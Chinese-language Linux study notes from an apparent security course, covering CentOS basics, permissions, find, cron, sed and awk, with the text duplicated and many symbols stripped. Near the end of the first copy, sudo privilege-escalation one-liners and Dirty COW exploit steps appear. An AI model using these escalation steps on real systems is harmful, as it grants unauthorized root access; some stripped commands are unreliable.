linux系统学习本笔记学习来源为助安社区仅分享学习笔记。本笔记记录Linux操作系统的部分操作并不完全请根据需求寻找相关的笔记内容在此感谢各位观看。一centos系统安装该笔记在虚拟机上安装使用的是centos7.8版本的linux操作系统。清华开源镜像站ios镜像下载地址https://mirrors.tuna.tsinghua.edu.cn/centos-vault/7.8.2003/isos/x86_64/CentOS-7-x86_64-DVD-2003.iso二xshell安装用于远程连接linux操作系统比ssh命令更方便使连接变得更容易。下载官网https://www.xshell.com/zh/xshell/三linux基础命令1.ls #查看目录文件/文件夹-a查看隐藏文件/文件夹-l查看详细文件/文件夹信息 2.cat #查看文件内容tac #倒序查看 head #从头几行查看 head -n 5 test03.txt head -5 test03.txt 3.tail #查看倒数几行 tail -n 5 test03.txt tail -5 test03.txt 4.cd #切换目录 5.pwd #查看当前目录位置 6.rm #删除文件-f强制删除慎用-r删除文件夹 7.mkdir #创建文件夹可连续生成多个文件夹也可指定目录创建 mkdir {1..10} mkdir .yang创建隐藏文件夹 8.touch #创建文件可连续生成多个文件 touch {1..10}.txt touch .yang.txt创建隐藏文件 9.grep #过滤内容-w精准匹配-n显示行号 tail -5 test03.txt 10.mv #移动重命名文件/文件夹 11.cp #复制文件到其他目录 12.wc #统计字符-l统计行数 13.seq #生成从小到大的序列数字-w生成等长序列数 seq -w 5 12 14.awk #按列过滤$1代表第一列$NF代表最后一列,-F以某个字符做分隔 awk {print $1} test01.txt awk {print $1} test01.txt以逗号做分隔 15.sort #排序字母、数字-n数字、字母 16.uniq #去重-c统计去重 | #管道符* #通配符相对路径和绝对路径在此目录下的即为相对路径不涉及到上一级的目录文件只需要写出从该级目录下的文件不需要写出完整路径绝对路径需要写出从根目录开始写的路径为绝对路径四Linux目录结构linux只有一个总目录/根目录根目录下有许多重要文件夹/bin #存放二进制的可执行文件命令特别重要不能删除!/boot #开机启动需要的文件 特别重要不能删除!/dev #device设备文件特别重要不能删除!/etc #存放配置文件特别重要不能删除!/home #普通用户的家目录/lib #library 32位库一般是so结尾特别重要不能删除!/lib64 #library 64位库一般是so结尾特别重要不能删除!/media #多媒体/mnt #mount挂载光盘U盘/opt #部分软件安装存储目录/proc #process进程 特别重要不能删除!/root #root用户的家目录特别重要不能删除!/run #运行程序运行的时候产生的文件/sbin #super bin超级用户才能使用的命令 特别重要不能删除!/srv #源代码/sys #system系统目录 特别重要不能删除!/tmp #用来存放临时文件的目录/usr #用户级的目录特别重要不能删除!/var #variable 变化的文件特别重要不能删除!五linux用户、用户组用户和用户组的关系主要有一对一一对多多对多。用户组文件目录/etc/group用户文件目录/etx/passwd1用户相关的命令1.useradd #添加用户-g指定组 2.userdel #删除用户-r删除与此用户关联的文件 3.passwd #设置密码 4.id #查找用户 5.usermode #修改用户属性-L锁定用户-U解锁用户-g修改所属主组-G添加到其他组 6.lchage -l #查看用户详细信息2用户组相关命令1.groupadd #创建用户组 2.groupdel #删除组有用户无法删除 3.groupmod #修改组属性-n修改组名3权限r 4 代表读权限 readw 2 代表写权限 writex 1 代表执行权限权限值表0 — 1 --x 2 -w- 3 -wx 4 r-- 5 r-x 6 rw- 7 rwxrw- r-- r-- user group other chmod #改变文件权限 chmod ux 文件名为‘文件名’的user添加执行权限 chmod u-x 文件名为‘文件名’的user去除执行权限 chmod 777 文件名为‘文件名’的权限修改为-rwxrwxrwx六特殊目录可执行权限文件文件中有“X”权限为可执行文件。打开方式为完全的执行地址例如根目录下的“yang”文件/yang即可执行文件。如需每次执行不输入完整目需添加文件地址到环境目录中windows的环境目录为win设置中找到系统高级设置“环境变量”Path变量中为直接执行文件路径linux的环境目录为echo $PATH七修改文件所属/修改目录文件所属1chown lisi xxx.txt #将文件xxx.txt的所属组改为lisi2chown lisi:lisi xxx.txt #将文件xxx.txt的所属组和主组均改为lisi文件夹方式同上还可用uid:gid数值修改chown 1002:1002 xxx.txt #修改结果同2文件夹目录的rwx意义r为查看目录内文件的权限w修改目录内文件的操作x表示可以cd到该目录八shell命令aliasshell命令别名ll #ls -l 简写九vi编辑器vi#三种模式第一编辑模式可用于编辑文件。输入i/o/a进入↑↓esc退出第二使用命令后进入的界面为常规模式可使用快捷键但不可编辑。↑↓英文的冒号:第三命令模式:wq保存退出:q强制退出不保存。快捷键分类1移动光标h,j,k,l 左下上右ctrl-f 下翻一页ctrl-b 上翻一页ctrl-u 上翻半页ctrl-d 下翻半页0 跳至行首不管有无缩进就是跳到第0个字符^ 跳至行首的第一个字符$ 跳至行尾gg 跳至文首G 调至文尾5gg/5G 调至第5行2删除复制dd 删除光标所在行, #使用u撤销使用ctrlr恢复6dd 从光标开始往下删除6行dw 删除一个字(word)p 粘贴粘贴板的内容到当前行的下面P 粘贴粘贴板的内容到当前行的上面yy 复制行5yy复制5行3搜索和替换/pattern 向后搜索字符串pattern #辅助n和N?pattern 向前搜索字符串pattern #辅助n和N:%s/old/new/g 搜索整个文件将所有的old替换为new:%s/old/new/gc 搜索整个文件将所有的old替换为new每次都要你确认是否替换4退出编辑器:w 将缓冲区写入文件即保存修改:wq 保存修改并退出:x 保存修改并退出:q 退出如果对缓冲区进行过修改则会提示十压缩和解压缩tar-zcf 压缩包路径 目标1目标2...#压缩文件-zxf#解压路径-cf#归档但不压缩-tf#查看压缩包内容压缩文件会保留源文件 gzip 需要压缩的文件名#压缩文件-d#解压文件会删除源文件 zip-r 需要压缩的文件名#压缩文件unzip 解压文件名#解压文件rar 需要安装专门的工具 yum install epel-release-y yum install unar-y 安装结束后 unar-o 解压路径 被解压文件路径十一文件传输在网站上下载文件curl -o 本地存放路径 文件网址 #下载网站上文件特别情况网站不允许curl下载 wget 文件网址 #需下载这个工具才可使用 yum install -y wgetlinux之间相互传输scp在linux上相互传输需要一方开启服务端如果是mac系统也可使用scp传输但是mac系统默认没有开启ssh服务端windows往linux上发送文件也可用scp但是scp只能单向传输Windows上没有ssh服务器。 scp 本地文件路径 远程主机用户远程主机IP地址远程主机某个目录windows.Linux之间传输文件scp使用方法同上lrzsz 先安装 yum install lrzsz -y rz -E #上传文件也可直接拖动到linux中 sz 文件路径 #下载文件十二linux安装软件windows和linux安装方式不同windows有自己的依赖库比较规范使用也比较方便。linux没有自己的依赖库每个不同的软件可能是建立在其他软件之上使用某个软件需要把其他的软件都装上这里的其他软件也就是这个软件的依赖库。1编译安装编译即为将源码转换为二进制语言1.下载源码包 cd /opt/ rm -fr * curl -o nginx.tar.gz http://nginx.org/download/nginx-1.20.1.tar.gz 2.编译 tar xf nginx.tar.gz cd nginx-1.20.1/ #编译参数 ./configure --prefix/usr/local/nginx --without-pcre --withouthttp_rewrite_module --without-http_gzip_module #编译 make #安装 make install #打包将已编译的软件压缩为压缩包 tar -zcf 压缩包路径 压缩包名称 #发送给另一台主机 scp 压缩包路径\压缩包名称 主机名IP地址发送路径地址 #另一台主机解压运行 tar systemctl stop firewalld #关闭防火墙2rpm安装#redhat package manager包管理器 #安装wget yum install wget -y #使用wget下载rpm包 wget https://mirrors.tuna.tsinghua.edu.cn/centos/7/os/x86_64/Packages/tree-1.6.0- 10.el7.x86_64.rpm #安装rpm包 rpm -ivh tree-1.6.0-10.el7.x86_64.rpm #卸载 rpm -e tree #升级 rpm -Uvh xxx.rpm #查看已安装的软件 rpm -qa|grep httpd #以树状的显示指定目录下的目录和文件的名称 tree 例子1 tree /usr/local3yum安装#自动解决rpm依赖 #yum安装扩展yum仓库 yum install epel-release -y #yum安装nginx yum install nginx -y #yum移除nginx yum remove nginx -y #查看仓库rpm的数量安装利弊编译安装优点 自由定制 痛点难度高步骤繁琐rpm安装优点安装简单 痛点需要自己解决依赖不支持定制yum安装优点自动解决依赖默认安装最新版 痛点不支持定制yum安装是在仓库中寻址在中国有相同的镜像站。十三find命令的使用1普通查找find /etc -maxdepth 1 -type f -name pa* 命令 目录... 查找深度 类型 文件名称2按照文件大小查找默认以B为单位1B512字节查找大于100M的文件 find / -type f -size 100M 查找小于2k的文件 find /root/nginx-1.20.2 -type f -size -2k 查找大于50M同时小于100M的文件 find / -type f -size 50M -and -size -100M3忽略大小写查询find /etc -maxdepth 1 -iname pa*4根据修改时间查找文件时间参数最近访问时间——a最近改动时间——m最近改动时间——c atime mtime ctime amin mmin cmin time按时间查找min按分钟查找 #时间单位为天-1代表一天以内1一天以前 find /opt -type f -mtime -1 #时间单位为分钟 find /root -type f -mmin -205取反在指令前加感叹号代表相反的查找find /root ! -type f -mmin -20 -name .* #代表以‘.’开头的修改时间在20分钟内的文件夹与上面命令中的查找文件相反 find /root -type f -mmin -20 -name .* #修改时间大于20分钟的文件6对找出的文件进行处理find /root -type f -mmin -30 ! -name .* -exec rm {} \; #-exec后写指令 find /root -maxdepth 1 -type d -name Apa* -mmin -30 -exec cp -a {} /tmp \;十四进程管理Windows进程在任务管理器中,可以查看每个进程在详细信息中也可以可以看到进程的详细信息;pid–计算机随机分配的值用于分辨进程用户名–开启进程的用户内存–占用内存#查看进程 ps 参数1ps -ef #关闭进程 kill 例子1 kill 7851 #使用进程id号来终止进程 pkill 例子1 pkill sleep #使用进程的命令名称来终止进程 kill -9 #强行终止进程虽然会停止进程但是会使进程变为僵尸进程。十五硬件信息lscpu #查看cpu free #查看内存-h带上单位 df #查看硬盘-h带上单位 top #查看进程动态查看进程 #top中的信息有top使用时间电脑使用时长负载平均值cpu占用率越大他越大进程数量进程正在运行数休眠进程数量停止进程数一般为零进程停止会被系统清除僵尸进程非正常停止的进程还在占用内存无法被系统清除cpu信息按1显示其他CPUid值为cpu空闲率KiB Mem是内存KiBSwap是虚拟内存 #硬盘信息inode、block 系统存储时会将硬盘分为两个部分一个专门用于存储文件(block)一个用于存储目录/文件路径(inode)。 硬盘空间还有却不能存储就有可能是空文件目录太多导致inode存满了所以无法存储。十六定时任务tail -f #监测文件#时间命令 date #查看时间 [rootlocalhost ~]# date 2021年 07月 23日 星期五 14:38:19 CST [rootlocalhost ~]# date %F 2021-07-23 [rootlocalhost ~]# date %T 14:35:47 [rootlocalhost tmp]# date %F\ %T 2022-01-11 10:07:50 #修改时间 [rootlocalhost ~]# date -s 20200723 14:40:00 2020年 07月 23日 星期四 14:40:00 CST #同步时间 systemctl restart chronyd #查看定时任务 crontab -l #编写定时任务 crontab -e #定时任务的格式 * * * * * cmd 分 时 日 月 周 命令 分0-59 时0-23 日0-31 月1-12 周1-7 #每5分钟执行一次 */5 * * * * #每1小时执行一次 01 */1 * * * #每半个小时执行一次 00,30 */1 * * * #每天晚上8:00执行一次 00 20 * * * #每周1晚上8:00执行一次 00 20 * * 1,3,5 #查看定时任务遇到特殊符号%,需要添加转义符号\; [rootlocalhost ~]# crontab -l * * * * * echo date \%T /tmp/time.txt 如果定时任务的格式或者内容有问题系统都会发邮件提示 #定时任务到时间了不触发先检查时间书写是否有问题如果没问题那么可能是命令出现问题可以写命令的完整路径which查找可以查找命令完整路径 如shutdown -h now可以写为 /usr/sbin/shutdown十七优化Linux1.优化ssh vi /etc/ssh/sshd_config 79行GSSAPIAuthentication no 115行UseDNS no systemctl restart sshd 2.优化selinux linux安全服务 #修改配置文件永久关闭 vi /etc/selinux/config #第7行修改为 SELINUXdisabled 需要重启生效 #立即生效临时的 setenforce 0 3.关闭firewalld Linux防火墙 systemctl stop firewalld systemctl disable firewalld 4.优化yum源 curl -o /etc/yum.repos.d/CentOS-Base.repo http://mirrors.aliyun.com/repo/Centos7.repo 5.安装常用软件 yum install lrzsz vim tree wget net-tools screen tcpdump bash-completion -y十八服务管理查看所有服务列表 systemctl list-unit-files 启动服务 systemctl start httpd #start启动 停止服务 systemctl stop httpd #stop停止 重启服务 systemctl restart httpd #restart重启 查看服务状态 systemctl status httpd #查看服务状态 把服务设置为开机启动 systemctl enable httpd.service 取消服务的开机自启 systemctl disable httpd.service软件和服务都是程序软件一般是客户端curl服务一般是给客户端提供某一个功能7*24一直运行。十九特殊符号# 注释、备注、不执行shell指令中的特殊符号1分号连接多条指令一起执行2…代表上级目录3变量和常量 env #查看系统所有变量 export变量名 #修改变量 echo $变量名 #查看某个变量4“ ” 双引号换行解析变量5’ ’ 单引号同样具有换行但不具有解析变量的作用6\ 反斜杠转义符空格等字符在shell命令中有特殊意义想要单纯输出需要加反斜杠7 历史命令调用在find中是取反的意思 history历史命令。8* 星号通配符匹配任意字符9$ dollar符用于匹配变量10输出重定向 追加输出重定向 输入重定向 追加输入重定向11|管道12|| 或前面执行成功就不再运行后一个。13 和两个指令第一个可以就执行第一个第二个可以就执行第二个两个都可以两个都执行。14 后台运行15~ 家目录16 反引号嵌套指令反引号中先执行二十三剑客正则表达式1三剑客之grep参数-n #显示行号 -c #对结果行计数 -i #不区分大小写 -v #反向搜索取反 -w #精准匹配 -o #只匹配结果 -A1 #同时搜索结果的后1行 -B2 #同时搜索结果的前2行 -C3 #同时搜索结果的上下各3行 -E #扩展正则表达式 -P #使用perl正则2三剑客之sedsed 查找不如grep但他有修改文件的能力且较为方便。参数 -n不打印所有内容只有被处理的那一行显示 -r支持正则表达式 -i直接修改读取的文件 a指定行后插入一行 i指定行前插入一行 d删除 p打印一般与-n参数一起用 s替换需要I忽略大小写全局替换需要g sed 3a yang wang iii #这里的3a代表的不是内容里的3a而是第3行的后面插入一行a代表行为3a空格后的数据均会被当作一行 sed 3i yang wang iii #这就是第三行前面插入一行 sed /a/p 1.txt #所有内容均会输出但是会在有a的下一行再打印一遍 sed 1,10d 1.txt #删除1到10行数据sed的删除不会修改源文件而是输出删除后的数据加上-i参数则会改变源文件。 sed -i /3a/d 1.txt #删除源文件中包含3a的行 sed s#3a#yang# 1.txt #每行的第一个3a替换成yang sed s#3a#yang#g 1.txt #所有的3a替换为yang sed s#3a#yang#I 1.txt #不论大小写的3a替换为yang3三剑客之awkawk取列以空格为依据划分列某一行在这一列中没有内容显示空格 awk {print $1,$NF} #取第一列和最后一列 awk {print $NF,$1} #取最后一列和第一列 awk {print $1} #取第一列awk计算awk {print $1,$2,$3}awk根据行号筛选内容#根据行号筛选内容 awk NR4 1.txt awk NR4 1.txt awk NR4 1.txt awk NR4 1.txt awk NR4 1.txt awk NR4 1.txt awk NR4 || NR4 1.txt awk NR4 NR4 1.txt awk NR4 || NR4{print $1} 1.txt #取行的同时取列 #过滤指定的行 awk /3a/ 1.txt #指定列与列之间的分隔符还可添加拼接文本 awk -F : {print $1-$2} /etc/passwd #以分隔的列过滤出第一列和第二列并用-拼接 #过滤文本 awk -F : $1~/h/ /etc/passwd #过滤出第一列中有h的行 awk -F : $1~/h/{print $2} /etc/passwd #过滤出第一列中有h的行再取出第二列4正则表达式1) ^word 表示搜索以word开头的内容。 2) word$ 表示搜索以word结尾的内容。 3) ^$ 表示空行不是空格。 4) . 代表且只能代表任意一个字符。 5) \ 转义字符让有着特殊身份意义的字符脱掉马甲还原原型。 例如\.只表示小数点还原原始小数点的意义。 6) * 重复0个或多个前面的一个字符。不代表所有了。 7) .* 匹配所有的字符。^.* 任意多个字符开头。 8) [abc] 匹配字符集合内任意一个字符[a-z] 9) [^abc] ^再中括号里面表示非不包含a或b或c。 10) {n,m} 重复n到m次前一个字符。 11 重复1次到多次二十一Linux运行级别运行级别 0 关机运行级别 1 单用户运行级别 2 不带网络的多用户运行级别 3 完整的多用户模式运行级别 4 保留运行级别 5 桌面模式graphical.target运行级别 6 重启#切换运行级别 init #查看运行级别两种 runlevel systemctl get-default #设置运行级别 systemctl set-default graphical.target #设置默认运行级别为图形 systemctl set-default multi-user.target #设置默认运行级别为命令行1权限掩码创建文件文件夹系统会进行权限计算 文件权限计算0666-00220644 目录权限计算0777-00220755 root用户默认权限掩码022 普通用户默认权限掩码002 vim /etc/profile #修改权限掩码 umask #查看当前用户用户权限掩码2特殊权限suid标记是可授权普通用户可以临时使用管理员用户才可使用的一些命令标记。 suid标记指令 chmod us 文件目录 #将某个文件加上suid标记 su #切换用户 su - root #切换成root到root家目录 su - yang su yang #切换的yang用户的当前目录 sudo 指令 #普通用户临时借用root使用指令 在visudo中可以编辑权限范围范围不能太大例如vi的权限vimfind、3普通用户提权sudo提权 vim #命令模式执行 :!/bin/bash find # sudo find . -exec bash \; awk # sudo awk BEGIN {system(/bin/bash)}脏牛提权 仓库地址https://github.com/gbonacini/CVE-2016-5195 #上传文件 脏牛提权.zip unzip 脏牛提权.zip cd CVE-2016-5195-master/ make #编译 ./dcow -s #提权
网络安全——day2
linux系统学习本笔记学习来源为助安社区仅分享学习笔记。本笔记记录Linux操作系统的部分操作并不完全请根据需求寻找相关的笔记内容在此感谢各位观看。一centos系统安装该笔记在虚拟机上安装使用的是centos7.8版本的linux操作系统。清华开源镜像站ios镜像下载地址https://mirrors.tuna.tsinghua.edu.cn/centos-vault/7.8.2003/isos/x86_64/CentOS-7-x86_64-DVD-2003.iso二xshell安装用于远程连接linux操作系统比ssh命令更方便使连接变得更容易。下载官网https://www.xshell.com/zh/xshell/三linux基础命令1.ls #查看目录文件/文件夹-a查看隐藏文件/文件夹-l查看详细文件/文件夹信息 2.cat #查看文件内容tac #倒序查看 head #从头几行查看 head -n 5 test03.txt head -5 test03.txt 3.tail #查看倒数几行 tail -n 5 test03.txt tail -5 test03.txt 4.cd #切换目录 5.pwd #查看当前目录位置 6.rm #删除文件-f强制删除慎用-r删除文件夹 7.mkdir #创建文件夹可连续生成多个文件夹也可指定目录创建 mkdir {1..10} mkdir .yang创建隐藏文件夹 8.touch #创建文件可连续生成多个文件 touch {1..10}.txt touch .yang.txt创建隐藏文件 9.grep #过滤内容-w精准匹配-n显示行号 tail -5 test03.txt 10.mv #移动重命名文件/文件夹 11.cp #复制文件到其他目录 12.wc #统计字符-l统计行数 13.seq #生成从小到大的序列数字-w生成等长序列数 seq -w 5 12 14.awk #按列过滤$1代表第一列$NF代表最后一列,-F以某个字符做分隔 awk {print $1} test01.txt awk {print $1} test01.txt以逗号做分隔 15.sort #排序字母、数字-n数字、字母 16.uniq #去重-c统计去重 | #管道符* #通配符相对路径和绝对路径在此目录下的即为相对路径不涉及到上一级的目录文件只需要写出从该级目录下的文件不需要写出完整路径绝对路径需要写出从根目录开始写的路径为绝对路径四Linux目录结构linux只有一个总目录/根目录根目录下有许多重要文件夹/bin #存放二进制的可执行文件命令特别重要不能删除!/boot #开机启动需要的文件 特别重要不能删除!/dev #device设备文件特别重要不能删除!/etc #存放配置文件特别重要不能删除!/home #普通用户的家目录/lib #library 32位库一般是so结尾特别重要不能删除!/lib64 #library 64位库一般是so结尾特别重要不能删除!/media #多媒体/mnt #mount挂载光盘U盘/opt #部分软件安装存储目录/proc #process进程 特别重要不能删除!/root #root用户的家目录特别重要不能删除!/run #运行程序运行的时候产生的文件/sbin #super bin超级用户才能使用的命令 特别重要不能删除!/srv #源代码/sys #system系统目录 特别重要不能删除!/tmp #用来存放临时文件的目录/usr #用户级的目录特别重要不能删除!/var #variable 变化的文件特别重要不能删除!五linux用户、用户组用户和用户组的关系主要有一对一一对多多对多。用户组文件目录/etc/group用户文件目录/etx/passwd1用户相关的命令1.useradd #添加用户-g指定组 2.userdel #删除用户-r删除与此用户关联的文件 3.passwd #设置密码 4.id #查找用户 5.usermode #修改用户属性-L锁定用户-U解锁用户-g修改所属主组-G添加到其他组 6.lchage -l #查看用户详细信息2用户组相关命令1.groupadd #创建用户组 2.groupdel #删除组有用户无法删除 3.groupmod #修改组属性-n修改组名3权限r 4 代表读权限 readw 2 代表写权限 writex 1 代表执行权限权限值表0 — 1 --x 2 -w- 3 -wx 4 r-- 5 r-x 6 rw- 7 rwxrw- r-- r-- user group other chmod #改变文件权限 chmod ux 文件名为‘文件名’的user添加执行权限 chmod u-x 文件名为‘文件名’的user去除执行权限 chmod 777 文件名为‘文件名’的权限修改为-rwxrwxrwx六特殊目录可执行权限文件文件中有“X”权限为可执行文件。打开方式为完全的执行地址例如根目录下的“yang”文件/yang即可执行文件。如需每次执行不输入完整目需添加文件地址到环境目录中windows的环境目录为win设置中找到系统高级设置“环境变量”Path变量中为直接执行文件路径linux的环境目录为echo $PATH七修改文件所属/修改目录文件所属1chown lisi xxx.txt #将文件xxx.txt的所属组改为lisi2chown lisi:lisi xxx.txt #将文件xxx.txt的所属组和主组均改为lisi文件夹方式同上还可用uid:gid数值修改chown 1002:1002 xxx.txt #修改结果同2文件夹目录的rwx意义r为查看目录内文件的权限w修改目录内文件的操作x表示可以cd到该目录八shell命令aliasshell命令别名ll #ls -l 简写九vi编辑器vi#三种模式第一编辑模式可用于编辑文件。输入i/o/a进入↑↓esc退出第二使用命令后进入的界面为常规模式可使用快捷键但不可编辑。↑↓英文的冒号:第三命令模式:wq保存退出:q强制退出不保存。快捷键分类1移动光标h,j,k,l 左下上右ctrl-f 下翻一页ctrl-b 上翻一页ctrl-u 上翻半页ctrl-d 下翻半页0 跳至行首不管有无缩进就是跳到第0个字符^ 跳至行首的第一个字符$ 跳至行尾gg 跳至文首G 调至文尾5gg/5G 调至第5行2删除复制dd 删除光标所在行, #使用u撤销使用ctrlr恢复6dd 从光标开始往下删除6行dw 删除一个字(word)p 粘贴粘贴板的内容到当前行的下面P 粘贴粘贴板的内容到当前行的上面yy 复制行5yy复制5行3搜索和替换/pattern 向后搜索字符串pattern #辅助n和N?pattern 向前搜索字符串pattern #辅助n和N:%s/old/new/g 搜索整个文件将所有的old替换为new:%s/old/new/gc 搜索整个文件将所有的old替换为new每次都要你确认是否替换4退出编辑器:w 将缓冲区写入文件即保存修改:wq 保存修改并退出:x 保存修改并退出:q 退出如果对缓冲区进行过修改则会提示十压缩和解压缩tar-zcf 压缩包路径 目标1目标2...#压缩文件-zxf#解压路径-cf#归档但不压缩-tf#查看压缩包内容压缩文件会保留源文件 gzip 需要压缩的文件名#压缩文件-d#解压文件会删除源文件 zip-r 需要压缩的文件名#压缩文件unzip 解压文件名#解压文件rar 需要安装专门的工具 yum install epel-release-y yum install unar-y 安装结束后 unar-o 解压路径 被解压文件路径十一文件传输在网站上下载文件curl -o 本地存放路径 文件网址 #下载网站上文件特别情况网站不允许curl下载 wget 文件网址 #需下载这个工具才可使用 yum install -y wgetlinux之间相互传输scp在linux上相互传输需要一方开启服务端如果是mac系统也可使用scp传输但是mac系统默认没有开启ssh服务端windows往linux上发送文件也可用scp但是scp只能单向传输Windows上没有ssh服务器。 scp 本地文件路径 远程主机用户远程主机IP地址远程主机某个目录windows.Linux之间传输文件scp使用方法同上lrzsz 先安装 yum install lrzsz -y rz -E #上传文件也可直接拖动到linux中 sz 文件路径 #下载文件十二linux安装软件windows和linux安装方式不同windows有自己的依赖库比较规范使用也比较方便。linux没有自己的依赖库每个不同的软件可能是建立在其他软件之上使用某个软件需要把其他的软件都装上这里的其他软件也就是这个软件的依赖库。1编译安装编译即为将源码转换为二进制语言1.下载源码包 cd /opt/ rm -fr * curl -o nginx.tar.gz http://nginx.org/download/nginx-1.20.1.tar.gz 2.编译 tar xf nginx.tar.gz cd nginx-1.20.1/ #编译参数 ./configure --prefix/usr/local/nginx --without-pcre --withouthttp_rewrite_module --without-http_gzip_module #编译 make #安装 make install #打包将已编译的软件压缩为压缩包 tar -zcf 压缩包路径 压缩包名称 #发送给另一台主机 scp 压缩包路径\压缩包名称 主机名IP地址发送路径地址 #另一台主机解压运行 tar systemctl stop firewalld #关闭防火墙2rpm安装#redhat package manager包管理器 #安装wget yum install wget -y #使用wget下载rpm包 wget https://mirrors.tuna.tsinghua.edu.cn/centos/7/os/x86_64/Packages/tree-1.6.0- 10.el7.x86_64.rpm #安装rpm包 rpm -ivh tree-1.6.0-10.el7.x86_64.rpm #卸载 rpm -e tree #升级 rpm -Uvh xxx.rpm #查看已安装的软件 rpm -qa|grep httpd #以树状的显示指定目录下的目录和文件的名称 tree 例子1 tree /usr/local3yum安装#自动解决rpm依赖 #yum安装扩展yum仓库 yum install epel-release -y #yum安装nginx yum install nginx -y #yum移除nginx yum remove nginx -y #查看仓库rpm的数量安装利弊编译安装优点 自由定制 痛点难度高步骤繁琐rpm安装优点安装简单 痛点需要自己解决依赖不支持定制yum安装优点自动解决依赖默认安装最新版 痛点不支持定制yum安装是在仓库中寻址在中国有相同的镜像站。十三find命令的使用1普通查找find /etc -maxdepth 1 -type f -name pa* 命令 目录... 查找深度 类型 文件名称2按照文件大小查找默认以B为单位1B512字节查找大于100M的文件 find / -type f -size 100M 查找小于2k的文件 find /root/nginx-1.20.2 -type f -size -2k 查找大于50M同时小于100M的文件 find / -type f -size 50M -and -size -100M3忽略大小写查询find /etc -maxdepth 1 -iname pa*4根据修改时间查找文件时间参数最近访问时间——a最近改动时间——m最近改动时间——c atime mtime ctime amin mmin cmin time按时间查找min按分钟查找 #时间单位为天-1代表一天以内1一天以前 find /opt -type f -mtime -1 #时间单位为分钟 find /root -type f -mmin -205取反在指令前加感叹号代表相反的查找find /root ! -type f -mmin -20 -name .* #代表以‘.’开头的修改时间在20分钟内的文件夹与上面命令中的查找文件相反 find /root -type f -mmin -20 -name .* #修改时间大于20分钟的文件6对找出的文件进行处理find /root -type f -mmin -30 ! -name .* -exec rm {} \; #-exec后写指令 find /root -maxdepth 1 -type d -name Apa* -mmin -30 -exec cp -a {} /tmp \;十四进程管理Windows进程在任务管理器中,可以查看每个进程在详细信息中也可以可以看到进程的详细信息;pid–计算机随机分配的值用于分辨进程用户名–开启进程的用户内存–占用内存#查看进程 ps 参数1ps -ef #关闭进程 kill 例子1 kill 7851 #使用进程id号来终止进程 pkill 例子1 pkill sleep #使用进程的命令名称来终止进程 kill -9 #强行终止进程虽然会停止进程但是会使进程变为僵尸进程。十五硬件信息lscpu #查看cpu free #查看内存-h带上单位 df #查看硬盘-h带上单位 top #查看进程动态查看进程 #top中的信息有top使用时间电脑使用时长负载平均值cpu占用率越大他越大进程数量进程正在运行数休眠进程数量停止进程数一般为零进程停止会被系统清除僵尸进程非正常停止的进程还在占用内存无法被系统清除cpu信息按1显示其他CPUid值为cpu空闲率KiB Mem是内存KiBSwap是虚拟内存 #硬盘信息inode、block 系统存储时会将硬盘分为两个部分一个专门用于存储文件(block)一个用于存储目录/文件路径(inode)。 硬盘空间还有却不能存储就有可能是空文件目录太多导致inode存满了所以无法存储。十六定时任务tail -f #监测文件#时间命令 date #查看时间 [rootlocalhost ~]# date 2021年 07月 23日 星期五 14:38:19 CST [rootlocalhost ~]# date %F 2021-07-23 [rootlocalhost ~]# date %T 14:35:47 [rootlocalhost tmp]# date %F\ %T 2022-01-11 10:07:50 #修改时间 [rootlocalhost ~]# date -s 20200723 14:40:00 2020年 07月 23日 星期四 14:40:00 CST #同步时间 systemctl restart chronyd #查看定时任务 crontab -l #编写定时任务 crontab -e #定时任务的格式 * * * * * cmd 分 时 日 月 周 命令 分0-59 时0-23 日0-31 月1-12 周1-7 #每5分钟执行一次 */5 * * * * #每1小时执行一次 01 */1 * * * #每半个小时执行一次 00,30 */1 * * * #每天晚上8:00执行一次 00 20 * * * #每周1晚上8:00执行一次 00 20 * * 1,3,5 #查看定时任务遇到特殊符号%,需要添加转义符号\; [rootlocalhost ~]# crontab -l * * * * * echo date \%T /tmp/time.txt 如果定时任务的格式或者内容有问题系统都会发邮件提示 #定时任务到时间了不触发先检查时间书写是否有问题如果没问题那么可能是命令出现问题可以写命令的完整路径which查找可以查找命令完整路径 如shutdown -h now可以写为 /usr/sbin/shutdown十七优化Linux1.优化ssh vi /etc/ssh/sshd_config 79行GSSAPIAuthentication no 115行UseDNS no systemctl restart sshd 2.优化selinux linux安全服务 #修改配置文件永久关闭 vi /etc/selinux/config #第7行修改为 SELINUXdisabled 需要重启生效 #立即生效临时的 setenforce 0 3.关闭firewalld Linux防火墙 systemctl stop firewalld systemctl disable firewalld 4.优化yum源 curl -o /etc/yum.repos.d/CentOS-Base.repo http://mirrors.aliyun.com/repo/Centos7.repo 5.安装常用软件 yum install lrzsz vim tree wget net-tools screen tcpdump bash-completion -y十八服务管理查看所有服务列表 systemctl list-unit-files 启动服务 systemctl start httpd #start启动 停止服务 systemctl stop httpd #stop停止 重启服务 systemctl restart httpd #restart重启 查看服务状态 systemctl status httpd #查看服务状态 把服务设置为开机启动 systemctl enable httpd.service 取消服务的开机自启 systemctl disable httpd.service软件和服务都是程序软件一般是客户端curl服务一般是给客户端提供某一个功能7*24一直运行。十九特殊符号# 注释、备注、不执行shell指令中的特殊符号1分号连接多条指令一起执行2…代表上级目录3变量和常量 env #查看系统所有变量 export变量名 #修改变量 echo $变量名 #查看某个变量4“ ” 双引号换行解析变量5’ ’ 单引号同样具有换行但不具有解析变量的作用6\ 反斜杠转义符空格等字符在shell命令中有特殊意义想要单纯输出需要加反斜杠7 历史命令调用在find中是取反的意思 history历史命令。8* 星号通配符匹配任意字符9$ dollar符用于匹配变量10输出重定向 追加输出重定向 输入重定向 追加输入重定向11|管道12|| 或前面执行成功就不再运行后一个。13 和两个指令第一个可以就执行第一个第二个可以就执行第二个两个都可以两个都执行。14 后台运行15~ 家目录16 反引号嵌套指令反引号中先执行二十三剑客正则表达式1三剑客之grep参数-n #显示行号 -c #对结果行计数 -i #不区分大小写 -v #反向搜索取反 -w #精准匹配 -o #只匹配结果 -A1 #同时搜索结果的后1行 -B2 #同时搜索结果的前2行 -C3 #同时搜索结果的上下各3行 -E #扩展正则表达式 -P #使用perl正则2三剑客之sedsed 查找不如grep但他有修改文件的能力且较为方便。参数 -n不打印所有内容只有被处理的那一行显示 -r支持正则表达式 -i直接修改读取的文件 a指定行后插入一行 i指定行前插入一行 d删除 p打印一般与-n参数一起用 s替换需要I忽略大小写全局替换需要g sed 3a yang wang iii #这里的3a代表的不是内容里的3a而是第3行的后面插入一行a代表行为3a空格后的数据均会被当作一行 sed 3i yang wang iii #这就是第三行前面插入一行 sed /a/p 1.txt #所有内容均会输出但是会在有a的下一行再打印一遍 sed 1,10d 1.txt 